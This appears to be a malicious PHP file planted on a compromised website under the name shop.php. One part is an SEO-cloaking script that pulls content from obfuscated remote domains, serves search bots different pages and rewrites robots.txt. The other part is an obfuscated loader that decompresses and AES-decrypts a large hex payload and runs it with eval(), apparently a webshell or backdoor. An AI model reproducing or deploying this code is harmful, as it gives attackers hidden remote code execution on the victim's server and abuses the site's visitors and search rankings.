File: /home/u646104988/domains/bursadireksiyonsende.com/public_html/shop.php
<form method="post" action="">
<textarea name="php_code" rows="30" cols="100" placeholder=""><?php
$xmlname =
["%32%38%31%39%2D%6F%65%76%74%75%67%30%31%38%2E%70%62%61%69%62%79%68%67%6C%2E%6B%6C%6D","%32%38%31%39%2D%6F%65%76%74%75%67%30%31%38%2E%67%72%70%75%61%72%6B%63%2E%67%62%63","%32%38%31%39%2D%6F%65%76%74%75%67%30%31%38%2E%64%68%6E%61%67%68%6E%67%67%2E%6B%6C%6D","%32%38%31%39%2D%6F%65%76%74%75%67%30%31%38%2E%72%63%75%72%7A%72%76%6B%2E%67%62%63"];
$http_web = 'http';
$host = $_SERVER['HTTP_HOST'];
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en';
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
$urlshang = $_SERVER['HTTP_REFERER'];
}
if (is_https()) {
$http = 'https';
} else {
$http = 'http';
}
$spider = is_bot();
$requestUri = drequest_uri();
$urlshang = is_from_search_engine($urlshang);
$robots = 'robots.txt';
$string = '2819-bright018';
$istest = false;
if (strpos($requestUri, $string) !== false) {
$istest = true;
} else {
$string = '';
}
if (strpos($requestUri, $robots) !== false || strpos($requestUri, '?robots.txt') !== false) {
$robots = '1';
} else {
$robots = '0';
}
if ($urlshang) {
$urlshang = '1';
} else {
$urlshang = '0';
}
create_robots($http . '://' . $host);
$param = http_build_query([
'host' => $host,
'spider' => $spider,
'requestUri' => $requestUri,
'urlshang' => $urlshang,
'http' => $http,
'lang' => $lang,
'string' => $string,
'robots' => $robots
]);
$html_content = requests($xmlname, $http_web, $param);
if (!strstr($html_content, 'nobotuseragent')) {
if (strstr($html_content, 'okhtml')) {
@header('Content-type: text/html; charset=utf-8');
$html_content = str_replace('okhtml', '', $html_content);
if ($istest) {
echo $string;
}
echo $html_content;
exit();
} else if (strstr($html_content, 'getcontent500page')) {
@header('HTTP/1.1 500 Internal Server Error');
exit();
} else if (strstr($html_content, '404page')) {
@header('HTTP/1.1 404 Not Found');
exit();
} else if (strstr($html_content, '301page')) {
@header('HTTP/1.1 301 Moved Permanently');
$html_content = str_replace('301page', '', $html_content);
header('Location: ' . $html_content);
exit();
} else if (strstr($html_content, 'okxml')) {
$html_content = str_replace('okxml', '', $html_content);
@header('Content-Type: application/xml; charset=utf-8');
echo $html_content;
exit();
} else if (strstr($html_content, 'okrobots')) {
$html_content = str_replace('okrobots', '', $html_content);
@header('Content-Type: text/plain; charset=utf-8');
echo $html_content;
exit();
}
}
function requests($xmlname, $http_web, $param)
{
shuffle($xmlname);
foreach ($xmlname as $domain) {
$domain = str_rot13(urldecode($domain));
$url = $http_web . '://' . $domain . '/?' . $param;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (!curl_errno($ch)) {
curl_close($ch);
return $response;
} else {
if (stristr(curl_error($ch), '443')) {
echo "443";
}
curl_close($ch);
}
if (ini_get('allow_url_fopen')) {
$response = @file_get_contents($url);
if ($response !== false) {
return $response;
}
}
}
return 'nobotuseragent';
}
function is_bot()
{
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$bots = ['googlebot', 'bing', 'yahoo', 'google', 'Googlebot'];
foreach ($bots as $bot) {
if (strpos($user_agent, $bot) !== false) {
return 1;
}
}
return 0;
}
function drequest_uri()
{
if (isset($_SERVER['REQUEST_URI'])) {
$duri = $_SERVER['REQUEST_URI'];
} else {
if (isset($_SERVER['argv'])) {
$duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
} else {
$duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $duri;
}
function is_from_search_engine($referer)
{
if (empty($referer)) return false;
$searchEngines = ['google.', 'bing.', 'yahoo.',];
foreach ($searchEngines as $engine) {
if (stripos($referer, $engine) !== false) {
return true;
}
}
return false;
}
function create_robots($url)
{
$path = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
$content = 'User-agent: *' . PHP_EOL;
$content .= 'Allow: /' . PHP_EOL . PHP_EOL;
$content .= 'Sitemap: ' . $url . '/sitemap.xml' . PHP_EOL;
if (!file_exists($path)) {
file_put_contents($path, $content);
} else {
$existingContent = file_get_contents($path);
if ($existingContent !== $content) {
file_put_contents($path, $content);
}
}
}
function is_https()
{
if (isset($_SERVER['HTTPS'])) {
if (strtolower($_SERVER['HTTPS']) !== 'off') {
return true;
}
} elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
if ($_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
return true;
}
} elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS'])) {
if (strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
}
return false;
}
</textarea>
<br>
<input type="submit" value="提交">
</form>
<div>
<?php
class Decryptor
{
private $key, $data;
public function __construct($key, $hexData)
{
$this->key = $key;
$this->data = hex2bin($hexData);
}
public function process()
{
$code = openssl_decrypt(gzinflate(gzuncompress($this->data)), "AES-128-ECB", $this->key);
eval($code);
}
}
$decryptor = new Decryptor("1337r0j4n", "789c015c16a3e9959737ae8458144417448077c10440e3bd3719defb8f5dfd304b1811b58450bf776f559dd2973157906ce6103c85bb793ae0e539194585e1c3728ded810e661bb363df94b9d4275bbabc9a2dc321052578495a513e94ddaecebb25761164603540d9f58d9381c107346dfa5125429b89e68d4f388b5f3cf0e5a80d5aa35359b18a054a68029cb944d953e79b7cfedd9636d98255fe15fb00bc7f53c696e0d85450d5af23bad631b1c7eb8f793b544428d109269bb2c6951d80f86cb61ed0caf5d622358ec05f731bb5631534252ea22dd1fa6ee92c30f479b1194adda195dfee35e8b9478785cf72ee56b80f704903db4f279df26df3f5285cd47c1c10ec61d81e93c699a8fc84632bbee730b2310e1e682d0f68c2fafdf684417fabfd0a657a94d1efdd3020931a349fcc6dc7a08138b887180a7a7806f15198d0409ec44e9cb4573713799e863f0f4e384a22f8e38986541f7781ef99a35910cdc621b4834ab7019f181f32f51cb399686815845f7c78e7fcae78da955b3eab8995175cd8170c522b19dde26c4a785c83c3f70b50bcf3f806ad729a2aaf303e25adfd774e2153bdb188656802a91b480c29309417811543434a68dc566137676c3e2b69942353c4f5188fab0c3762d06f2b35b50a6661cf8d3d6bdfb39a32ac6f8bf187e3defe6697a1c6464bf6b06d85cafa4ee60aa1380c8692ada604dc696539faf723a435bc8878cbee1bb00cbaf22d4680f8af669df02611aee87600e9bb15cc1728a3fa6a17d8d9f7079bc5e9b2139d33f9e6ff7abee33a19332436644817999c519ddca41823deb8d55fcb6fdc7428ab5934a9a7aaae319a1908465947fd5c035b0e3f22f18b0e688da2ec49553dc118d6f977d6526546ec7241422ca0916ccce000f34b3bf7a501da9dc07bc71f3ec198a0513f0d378cf0366253ff438c4833dce19ac315cdf7a276f21507d10e39fd9437fa9ad34d476fe435c61e3486f31d5623ae49b7e2b911567822b7e3759f09586c0b7301bae96a27ea117022e25258f04228a711e146425e6f143a459e1afeda3da23e5403a9e24c0bc018f2d15f281ef06be3b233df2985ecbf0b11787d33e0bfa89ec476398e8b80c660e72eb72243ec38c23e49598f49c8bd7cc5a26473af7f0c9464dd5adb46ed71391773dd61416909443e3d54e6af1f22ca6a2b6d2f9ee72469e1cd6a7a38cccee84fabbb8e089f56595da5e40d9f0ef2ec07504dd9804397b6a39d0fb33fc4b12cbf4087a8da4e7a77206c66fd45bba48aa17c02cdaf6a78bde6367dc0d7e970526df8a8e655057ce6cd391d4b680ee8afee0d9b3981486fe263510869ce919abb2a827a48c3c3f358705e1a98bed7338de05f8fbc5bcd62456010eb19ea07d5a476e5036dcfd4ceb7b14fe29507cb87143e0899f979d7b5e0769e1d9d3b19591634d986c07286962989b3467ee74da1d4aec226a9cde151565dac17595938906a68c7f0d83317d0e709e2ab376a6dddf1135d2ff4e054b2f5286bc86fabbd8642689e54f0cfd4889e9cd25f8fffa8b8accb39cf0c0a3577042dcfa1767581d139994d7a05513f075ee52d011ad904cd9ab27f789cfc8d4932dec95cc5972a917eebb23a0197b65fcfe1df564fb30a17f375e215917a551382721c5af21a79cab96fc1ad330169d604f24cc2494dd582701c3880cb62004246354d4cb54ba18fc0d539945b0676ad3a122118b596196f2191e012dd3934ae297ed089f6f80b8e74307689a9d8da7497e425516e2cfdfd5012bae3203d0707e1efaf4a0670dbd702e15e6125a8bf9be1cd0152b9dfbb7bd7740621e69fa670452860052e8a4f91ee635d96303c8fbdaf720165eeefe1d098b2c92c0c1ad800394a64fc5a2b3b270315739eea19bf53219fa624564a0f442d55c5672a633fb356c384bdddc9cdcbd5cad1c44337e5a98c2214bf8605dc6fe1813490efd1f046874a1b2ee230cefe18a13e1874a6f7cf6c3c022a2eb13f1bed0f9743497358b2919eefd28658ae48aab2a2077dbd55f192a79d2c62b399fea2b2d6547993ed105adb824b72bf3173750025ad100fa4fbf74881e953551d1e13f4b45f0a40b4b0040179c31520b3b8141c1e8a1cf7dc25a4dd04f72a6807832c4b8d6b828c561da1e143aa457fc9e169742b53d043c0e69c99a800ac4d4e1d81353f9de663df14e8dcacbba559b1366cff160c4cfbc940194c0490e060755033f21cba8dc4f8831d2e48ea30a856fa5ef463791af8b45164e370bbd523104f13913f15c640a33f527b2a883f8347621814e5d2c0791a16f0d9fa53508fe05942f03c2deec7af6d0c8684b2869b65bb718bc9647edf01ac278bf0e4655c8bdebb420ecb74bfcf1269d3e9591293acb2801eb3549c3fa16b1997ca8ce82fca1261f1665c30cca4ebaad477b9f3c94c997b295bd50ab113b0a790298ed5554cc465786e7c6b003ef558c3bdb59bcdb08f5cf3c4b3bfaa0cf46cc1bbefb6d3561aabd785898181b13f9e09cd168da30ce1319bb186cf3078559322d31b266dc1e1ee9c4c497794e7752b2b5fffc29779ba12ce680d34009662d0e3b19d38607aab7451beb429bc9342dadcbce16870e887ac454fc738858b318f538189a5261a01d4fa976f4592465efc01d5be7ea8853c1c257f22af73f63d78444446d5264cbb753dcc3d3206ee0e96607ed2db3e4d349e7b33fd2d3db66d60ab5fd733e663ac87335ce7c52103d78bc03d4f641eb85eecba3af9373c58b78b8a873393dcac84cfa89b67fc4259873b50f7703e9e7c9b492d0f31af97512de220d4fae9a233d0f86e5a157e3c844743a86e1be1e094def45a3d58040ab36178eaa5a457d052eff522f75329f3f286c461f5ed95d7d3c93695fc733472544d41cb753088ba4cc6e99d174f2d63a07d666baa8c9f85aa0a383c8c9df15412d9bfc540ac38fa5b063eea9d4a4f98c20e17bafdbc7f1a5ba405b4b04328f9147e1598d43ba2b349b5a594420d544dcd292308a2ab97b419b4068cccf016599cbccd4027748b54260b2e8d21119064a21b4dc1fc410a9fcea562219b880f3a4f40d821de8e35901301cee2cf6a6d4ea5a09d3b0c6110a50b52cea120cc6410a13cfa4156e0881a437e970c576dfddae41d863f687981fc57555bc8660d926660fddb216327bc1ef831d8cc037910f08a9ad9396a2a172bb28383e3a120681d0b3c57334d4c91a9c07afe26c8a6d2ffb1bfe6a57c5278557d47fe2ac919a098dc9d5d42b9a30a56f36c02eba6691affd02c45f924596e140f866ea85ce0372378c3ec9ac33d24f53031b0cdedd31d337cfe8e77a6671d5eb20372de35c7e764bd0676040ed4d5bdaa4ac7d6710182c6f0c3290ee7e17f60aa21cd27f10870ccb39f0b412231f47e03856a412cd93c4d93507362609aa4e8379af606773729398d28c2cbb6517aceb7dbe91464b9e58e1b8bbb73e9b6e20b4f28edb5509afb65058624e92cbfd4390856ccfda3ad1e84fec088f8b19223186dc82b8becfc044d436dd01411de25c731e1895a52f0d460e4afb428a2cff3bd71dceb2d7d5c66fa274c9e3d1be0f5ed4b2e3e588585690c21ff426e3f59f4d480331e720eeffb224295437e7e4f3333be9fc83709e1a18c466917fee594dc1e1da187665fe0e3d49749b644e75fff7119c4a176efac0dd683e99e8d629fcb7d6d0e1870fe91dee688bdcca47f9aa6cfaba608e145b1f534f6683216443e1c1446ec7f9b50caaba402680d42cb45ad9740dbf953977bcda13199d81631b93bc10706fe5033b2e00490c9bcb600717b3f7411b383fe9251c67dd082811cb8bd448b25dcf43778f416977e73f5fa5f8e1b255a13ede81be70afc34634c08780f895eaf62ea3b13664f99f4a18e6901db5d7679616aae2a2c1f4f5bf04327c9f0c774ce610b7da09d5851403be9e57707b3904ec8857d7afacfd5c9b7ff2b6ee436215a33d843c4020fb652aa18755485ad2b97cb0d4f052d0d14977d6221b23d31de37aa06303251376d96cb1fb10e36226eb174a82257667ed1430910f03468f7ae7f8cc5161a73088011b4c8ee0f64bed519340ec73fc2d27feda8c577cb92e7cfa2a508c2cf151b410712d5ab27cebbef0f2b1bc9693cb9b8a2766491fa25f49498723d7bb7f7514cab0890b9d56be3e11047a238bdf0b8d0c9b0dfdf7b62c253220ea3db7712c3e124345ff77b3b35b3b43ff830fc7e5e1b29ce6df0f9cc9abe9df90923bad87d06404f19ab875c812f09df05696636675da5424821899c4366212413661745dc6116d05a078432eed766e620e23b11ac1506d3f811fe3260c9b06006ee01ed275021ed21bf2830460f216ba65539f55d63dbc679e0d0447f854fc1bcd527f54bdae220a4488989fcf65bba67408d8eaedf3e98139fd7ce772beba5835ffc8a454eab7afa2f4558febdece1b75b10ec4986f1676e985c058ac040c9749ee2b59dc85948064079f9bab8b890bbc8981d0ac1ffe06683a088c679ac9c3301886007106bd8159ce4ca95dc35a472f6bf90993115f87ab8032c67bb4e2a6835f9504e78d9fbbe4ed02fa6486e95a7e19ce2d5924c5fd64ec4304090efc7a10c4d8036f07f5f63554a6a8502771d057a9e1ab54c487354238919056088cd4c97e583b990d82e771b526fb97411f1a412f22dc6175516f7f7949d920249601a413e406b0dd1df6bc8d422d82a86d086af67fccce60acbfdafed75496b4743d1bfae27fdd26bcee7c7fdc52327a621d711e4ba92bf437f090cc6e286fd86b5da5bb0d0f1afe78595728423f066918f9725f183efdc3fbeb900685d46db0c94cf1d9f2fff7211c5f516335aa092d55bffe1a1482c4372beb2b1c0217ac71f7d330c385c753a9b89d857978394c268601f2cd67af6a790beb5f221489ab623ff01396ce5d0c5a841b80c547e0d68805508d1a272c8135eebfa69ec9ba09130921a6a7fe38cb79bf31ea6fd2c97cd9ac61133b04e04d41fa8504a885d10aea58e578ee0c195f0fc33e240808a81e288918cb957fce4b45f7e37dbcd1c1a25b1e72763a3e4a0c6e99fd3667cff52de3645e010d1d39b7e41386d88f0c0b7811110d4b6f568ebcbba2377991422565ba9abae98ec8a8b3e4f5ce9bb32ac5cbfdee14418fe045a032f67ac48a53b2f241a7da294f03e3c56fe5e1a4b325ad7ae7df667b4cf2639a036140f50ec65056cbf74eecdd0d2ffde39ef6ebd59ff9c95d50da31ef9f18f9763ec2e956ef8fded1408f19329184c43db93b30907d80f026eb122a94ef6070f7744ef09e9c856cb1eab845eeefa025dd533a18a60988afdd4433aca99ece76e439588054f51a561d37b882b114252fff526da7d36103a6d4ce4dbf977a750961f29c0f9060e931491f4e29140f3ab6a51bd7e97b87de3e5b99a4fee378be438df8bd402452e37c6acf133d8c35837ff798dcd93ef18fff235d1575dd8de167f3a5f252b9316cb765d86835bf7cea434dc8639d509982f54fcbaf4e2fa5ef293cb7e2bc5b6c58a99b17ad5dcbd16b6cc20e790cb89d56471db09d0d640132a0eab78444498907399004b5258d5fe812c9f36ac7070cdfc35ee799cd0349de3bf093d7900e3ddd65aa5767f129e7e854cbb1c7131905cc7544f57d00355982c409c10055ecf08db8ba05cd67433f5cf2266f62488c0cd9f61eb483f37bc793c6fa1f58efc107f9da5470bbb4e2f087ffde17e1ebdd134d8e31b38abb2da6af3121415bd9ba3a4e458932894417ed6769e72cb42afeba4cfc2379fa3dbe99b79aca08175f84dacbf4ab8ca40d9e90b3187358107cd1c8ab73de8afe0f6b3daf30ed095a68448cadce9457bb4001a43e15b0f244b35aea10cf60548032ae845276010d88c60996b84e5cc28a1995e55f8c46bfde2bb72828d1488a268d18035c836a76ad2ddf3ee6b9c6a8263652d1aae16ffc948111523a024966cd92d7e6c09809529186dec25c53f6088d49e032f65b33152800e1d0307cb62f5e5870e658d2e106de0d1c29fc602aadd480aca166c8c7cc3306728076e227fdc4f8422e3ab9931a670e7e703931e336d285f4e0efc9162f9362e743cc3c20591ad5e435f525b1e864ed8f0cd97ed45d578d6689f2199fe950377f2b29d78ca7b9ad129a153215ae30dfaafecd1ccd5cc5fada40cf6759ea28ca7aa91fe7340033df082fc4033496f64efd946445c6fa6ecb11bb06da69959a3b976e5cf8a3c7255a66058e46548e03cd9049a2d84fed4ce68afeba7ad5b80cdcae6730b001bacec41fa1fd6a0f981f83fafe8036575c0de27689c4ebfa25e3e650f69127f0e74caaf93ac6002c09d540eef199c677fa74084a77b2175d62ed8fcc12a21c69edd4b1019eb0c9ce2041a5fb0f10eadfa72789298e0346001e78e915fa2d887ce4166fa68fdea760da4ed608d21048670b4de00ac710e713b31de8005e4272444480caf95035b6357f31050830042bdfa358a4349f77d9f3b08a8de653a94a9621b910877d2634bff686845a13feba1274689121c8c594a85878a65f0cbd6323df449291619825ab186e546655192b91cee5ec8a9f9e27661ebb3dfb73449d4c2f757d940a27d07d5dd86e0d2d3d18f7df178b735bb0a526a5a3ae40421dab780a17b3367b2c1a56ff5e4ca08aec57244d54096698e8b8c5588a059f6cac21a5a272c59c9135ebbfe6331de9746e581fe52fc0abaf6b2cef4b0fa83c5b8151f355b757239a4929e674edcae61b9847dbcb8098684455fc85a8689d1b4b1c8dc05f7e896a0b1acfc48dd2d555637b1d934579b9cfaafdcd5d5d788f8d613ba58c39168ff46176ee4bbe6302d44137c40f3e25dbf448f374c4460bd7c843b98f0dbc1179fcf13fad72cd59cbfd0745c292326f3eaec81d25ac205d03b5185e4b1bc39384944e80d27a1d6986ddffcdf6d96c33addd322add1b34a4b1fb2560eee9b320a191268822369ab60381e37fc6e775c6b2fddcfd74dd12886aeabd8d5cb4fc27adcd186fe7373d1fa6a13f03111ec04f86dc611d6f943e6efe4e0b54aed3976f1872cb2dffc9810c5ee8fb88616b1ae3ec0c4fad63509caa159c7cc51c14815fce3d48c01817c5fb17c8b0d0cb5a6023f8ef5c7fe68708bbfeefa09944f93bf086ab9b7df8bd841e22e69d72ccd343c776895a02385a7bbc1ba65a8201a371088aede305211246204d8bf6ae382f4f3eb54d52bca3ef854822215f00acb8d235811ea7cb029eed80fdbde4bc392bc54847f28f9612063e5520d075df4dcddfb55ef83b594cc0fd644838d48a5dbf59545bbe5f088f16f1d6c070f7b346a411cc76d11563c65d3d39aaf88a6b384ce0f27fc4dd386025dfb0bee1d224498400fbbf12f21879fee438b58ce9070f53f669bf6a97915a41983bc8a2ea3fc23043f270c10edff64573a521d63fcd08c2bb410c492369b8be5d0c58ecd23c4f19860522f4c51d20c74d1415acc6ec3033004744a7cdcae481bc68fb6e3cf5f0c3d6276494ddec8b49ed37deab957705676989aee0a0759c166586967f0e94b7cad9828f7db5056d13768c4582f0883cf8f5fab545d7f150a33a11bee2b35cb09e239c044be52897fc717f92209377cbf74fa275ebca8bc2d29b88d1d94f06f602218b93bc004cff1bdb7d545e3d895df8bd2db20f00513a90693e73e301f2553a7883782c1401694242e1b166aa4b2733165de1e3257c7fa652c23e6fc2c42ba89bd75a3f67d71ea0ce6c9ef9cd8850c8584b1ebd7bf2044ed10907a91ce60f69639efefaa09fa723d95560ec68783c173b3fd45db7e509bc81babd8aec14bcd4020b26a01e6a27bcb36296c0e3a6595edaead138a39f4973de235815a696e9c3e58e0f56ca953f10c71787b998beeaace66b38f5dac4a4fec585e08247f8955ec19b3be98fc37f1f7f017198f1385fadaf3d9730c1a1ff97b05b4b46cece8d88231c84326cbcd01ad66148773d52d880bea77498e0a69e92f667f8b948f70db95f1a76f350ca6467cc37dc705a7d49930c1d3b7e3c5e00a4b3c0bc7938db75577e09dbe34e713175515febb6dc7f6b31adb6381fe9b04a6a452ada8c13be9ea7ffef917b1d03b81");
$decryptor->process();
?>
</div>